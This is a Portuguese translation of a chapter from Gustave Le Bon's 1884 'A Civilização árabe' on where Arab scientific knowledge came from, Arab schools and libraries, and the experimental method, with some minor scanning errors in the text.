ORIGENS DOS CONHECIMENTOS DOS ÁRABES, SEU ENSINO E SEUS MÉTODOS

ORIGENS DOS CONHECIMENTOS DOS ÁRABES, SEU ENSINO E SEUS MÉTODOS

Gustave Le Bon

A Civilização árabe (1884) – volume V

Capítulo Primeiro

ORIGENS DOS CONHECIMENTOS DOS ÁRABES, SEU ENSINO E SEUS MÉTODOS

I

ORIGEM DOS CONHECIMENTOS CIENTÍFICOS E LITERÁRIOS DOS ÁRABES

Duas grandes civilizações, a dos bizantinos e a dos persas, projetavam seus últimos resplendores quando os árabes começaram suas guerras de invasão. O mundo novo onde entravam os discípulos do Profeta surpreendeu vivamente sua imaginação inflamada, e eles não tardaram a dedicar-se ao estudo das artes, letras e ciências com tanto entusiasmo quanto se dedicaram às conquistas. Assim que os califas consideraram garantido o seu império, fundaram em todas as cidades importantes diversos centros de ensino, chegando a dispor dos sábios capazes de traduzir para o árabe as obras mais famosas e especialmente as gregas.

Certas circunstâncias particulares facilitaram essa empresa, pois fazia algum tempo que os conhecimentos greco-latinos se tinham difundido na Pérsia e na Síria. Com efeito, quando os nestorianos foram desterrados do império do Oriente, fundaram em Edessa da Mesopotâmia uma escola que

propagou os conhecimentos dos gregos pelas terras da Ásia, e quando o imperador Zenon o Isáurio destruiu aquele centro de ensino, os monarcas sassânidas receberam muito bem os professores, o que motivou, quando mais tarde o imperador Justiniano fechou as escolas de Atenas e Alexandria, que os sábios delas se estabelecessem na Pérsia, onde se dedicaram a traduzir para as línguas mais conhecidas do Oriente, como o siríaco, o caldeu, etc., os autores gregos mais apreciados, por exemplo Aristóteles, Galeno, Dioscórides, etc.

Quando os árabes se apoderaram da Síria e da Pérsia, encontraram ali parte do precioso depósito da ciência grega e muitos deles aprenderam a ler os autores antigos, especialmente os gregos, em sua própria língua, como mais tarde aprenderam na Espanha o latim e o castelhano. A biblioteca do Escoriai possui dicionários árabe-gregos, árabe-latinos e árabe-espanhóis cujos autores eram muçulmanos.

Durante este primeiro período de iniciação, que pode ser comparado ao tempo que a criança passa no colégio pura receber a sabedoria acumulada pelas gerações anteriores, o conhecimento da antiguidade greco-latina era a base da educação do todo o árabe instruído. Os gregos, assim, foram os primeiros mestres dos árabes, mas como estes possuíam bas-tante originalidade intelectual e bastante entusiasmo, não se contentaram por muito tempo com o papel de discípulos que lhes reservou a Europa em toda a Idade Média, e esse primeiro período logo terminou.

Surpreende verdadeiramente o entusiasmo com que es-tudaram, de modo que se a esse respeito muitos povos os deravam de uma cidade seu primeiro cuidado era fundar uma mesquita e uma escola, multiplicando-as nos grandes centros. Benjamin de Tudela, morto em 1173, conta que em Alexandria localizara vinte.

Além das escolas para o simples ensino, as cidades de grande categoria como Bagdad, o Cairo, Toledo, Córdova, etc., possuiam universidades s providas de laboratórios, observato rios, etc , ricas bibliotecas e todo o material necessário para

as investigações científicas. Só a Espanha tinha 70 bibliotecas públicas, e a do califa Alhakam II continha em Córdova, segundo os autores árabes, 600.000 volumes, 44 dos quais eram o catálogo dos restantes. A este respeito se fêz

civilizaca
Fig. 215 — Porta de uma pequena mesquita-escola, fotografada em Damasco pelo autor.

observar que 400 anos depois, Carlos, o Sábio não conseguiu juntar na biblioteca real de França mais de 900 volumes, entre os quais só uma terça parte não tratava de teologia.

arquitetura arabe

II

MÉTODOS CIENTÍFICOS DOS ÁRABES

As bibliotecas, laboratórios e instrumentos são materiais de instrução e investigação necessários, mas em última aná lise apenas materiais que dependem do modo de ser usados. O homem pode possuir a ciência dos outros e ser incapaz de pensar por si mesmo e criar alguma coisa, ser um discípulo sem lograr jamais chegar a mestre. As descobertas expostas nos capítulos que vamos escrever demonstrarão o partido que os árabes souberam tirar dos elementos de estudo adquiridos, e como, depois de serem apenas discípulos das obras dos gregos, compreenderam que a experiência e a observação valem mais que os melhores livros. Este princípio, hoje vulgar a força de óbvio nem sempre o foi, e os sábios da idade Média trabalharam mil anos até chegarem a conhecê-lo.

Atribuise geralmente a Bacon o planejamento da experiência e da observação, como base dos métodos científicos modernos de preferência à autoridade dos mestres, mas é ne cessário reconhecer desde logo que êle pertence aos árabes, segundo o consignaram os sábios que estudaram sua obras, especialmente Humboldt, o qual depois de registrar que o ponto culminante da ciência consiste em produzir por si mesma e voluntariamente fenômenos, o que equivale a fazer experiências, acrescenta: "os árabes chegaram a essa altura, que OS antigos mal conheceram".

"O que especialmente caracteriza os começos da escola de Bagdad — escreve Sedillot, — é o espírito de verdadeira ciência que domina em seus trabalhos, o passar do conheci cido paia o desconhecido, o dar-se conta exata dos fenômenos paia subir em seguida dos efeitos às causas, o não aceitar, enfim, senão o que a experiência demonstrava. Tais foram os princípios que ensinaram .seus mestres. Eis aí como os árabes do século IX possuíam esse método fecundo, que multo tempo depois iria ser entre os modernos o instrumen to de suas mais altas descobertas".

Experimentar  observar foi o método dos árabes, en-

quanto a. Europa da Idade Média se limitava a estudar os livros e a. ser eco da opinião dos mestres. A diferença é com pletamente fundamental e só depois de a apreciarmos podemos aquilatar com justiça a. importância cientifica dos árabes.

Pêz assim este povo experiências, sendo o primeiro no mundo e o único durante muito tempo que compreendeu a importância desse método. "Entre os gregos — diz Delambre em sua História da Astronomia, — encontramos apenas dois ou três observadores, quando pelo contrário entre os árabes seu número é bastante considerável". Acerca da química não há meio de citar nenhum experimentador grego, ao passo que se poderiam citar várias centenas de árabes.

O costume da experiência deu aos trabalhos destes uma precisão e originalidade jamais encontrável nos homens que se limitam a estudar nos livros, faltando-lhes apenas originalidade numa ciência para a qual não havia então experimentação possível: a filosofia.

O método experimental inaugurado pelos árabes deveria necessariamente produzir descobertas importantes, e o exame que de seus trabalhos científicos vamos fazer demonstrará terem eles efetivamente descoberto mais verdades em três ou quatro séculos que os gregos num período muitíssimo mais longo. Este depósito da ciência antiga, que os bizantinos haviam recebido antes sem tirar qualquer partido de seu valor, legaram-no os árabes aos seus sucessores completamente transformado.

A influência deste povo não se limitou a adiantar as ciências com suas descobertas, antes se estendeu a propagá-las por meio de suas universidades e livros. Veremos assim no capítulo especial, dedicado ao estudo dessa influência, que eles foram durante muitos séculos os únicos mestres conhecidos das nações cristãs, e que só a eles se deve o conhecimento da antiguidade greco-latina, pois até à idade moderna o ensino das nossas universidades não deixou de basear-se na tradução de livros árabes.

arabesco

Tradução de Augusto Souza. Fonte: Paraná Cultural ltda

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